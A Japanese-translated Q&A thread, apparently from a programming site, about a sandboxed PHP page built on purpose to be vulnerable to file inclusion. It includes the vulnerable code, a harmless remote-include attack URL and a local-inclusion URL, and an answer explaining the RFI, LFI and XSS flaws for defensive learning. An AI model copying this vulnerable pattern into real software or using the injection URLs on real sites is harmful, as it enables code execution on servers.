1

サンドボックスをセットアップし、エクスプロイトを実行しようとしているので、エクスプロイトをより適切に防御する方法をよりよく理解できます。以下を実行すると、プロセスは適切な理由で失敗します。しかし、「適切なエクスプロイトの書き方」があまり見つからないため、よくわかりません。ここに私のコードがあり、以下は失敗時のメッセージです。どんなガイダンスも素晴らしいでしょう。

 //unform.php (unprotected form)
 <html>
 <head>
 <title>Try An Exploit</title>
 <?php
 if (!empty($_GET)){
    foreach($_GET as $key=>$value){
    ${$key} = $value;
    }
}

 //no sanitizer here.
 echo $key;
 include($value);
 ?>
 </head>
 <body>
 <h1>This Is Bad</h1>

 <form action="#" method="get">
<select name="COLOR">
       <option value="red">red</option>
       <option value="blue">blue</option>
    </select>
<input type="submit" value="Kick Me" />
 </form>
 </body>

悪用スクリプト、簡単なもの:

 exploit.php
 <?php
   $somevar = "This is just a string";
   echo $somevar;
 ?>

悪意のある人物は、ブラウザのアドレス バーに次のコードをハード コードします。

 http://www.sandbox.com/path/to/unform.php?COLOR=http://www.remoteserv.com/exploit.php

アドレスを読み込もうとしたときのブラウザへの出力:

 Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0

それで、それですか?または、私が注目すべき他のテクニックはありますか?
ありがとう

4

1 に答える 1

3

問題のエクスプロイトは、任意のスクリプトの実行のようです。このスクリプトは、一部の php.ini 設定により、リモートスクリプトの任意の実行に対して脆弱ではありませんが、ローカル スクリプトの任意の実行に対して脆弱です。

リモートスクリプトの任意実行

デフォルトでは、allow_url_includephp.ini ディレクティブは0- に設定されており、次のようにリモート ファイルを含めることができません。

include("http://www.remoteserv.com/exploit.php");

...または同様に:

$myVar = "http://www.remoteserv.com/exploit.php";
include($myVar);

詳細については、ランタイム構成 - ファイルシステムとストリームの構成オプションおよびphp.net のリモート スクリプトの使用を参照してください。

技術的には、ユーザーがエラーを引き起こす入力を提供できるという点で、依然として攻撃に対して脆弱です。現実的には、その入力をサニタイズする必要がありますが、リモート スクリプトの恣意的な実行に対して脆弱ではありません。

ローカルスクリプトの任意実行

しかし、php.ini ディレクティブは、ローカル スクリプトの実行からあなたを保護していません。攻撃者は次のような URL を使用する可能性があります...

http://www.sandbox.com/path/to/unform.php?wtv=/tmp/SomeFile.php

...そしてそのファイルが含まれます。PHP 以外のファイル (エラーが発生する) であるか、攻撃者がファイルのアップロードまたは共有ホスティング環境を使用してサーバーに配置したファイルである可能性があります。

さらに読むために、Essential PHP Security の第 5 章では、 includeのセキュリティについて完全に説明しています。

他の

XSSに対して脆弱です。

echo $key;

入力である出力を行うとき$keyは、おそらく を使用して、何らかの方法で出力をエンコードする必要がありますhtmlentities(...)

また、入力を使用して変数を操作しています。

${$key} = $value;

...これは悪い考えです。

于 2012-09-28T20:10:57.247 に答える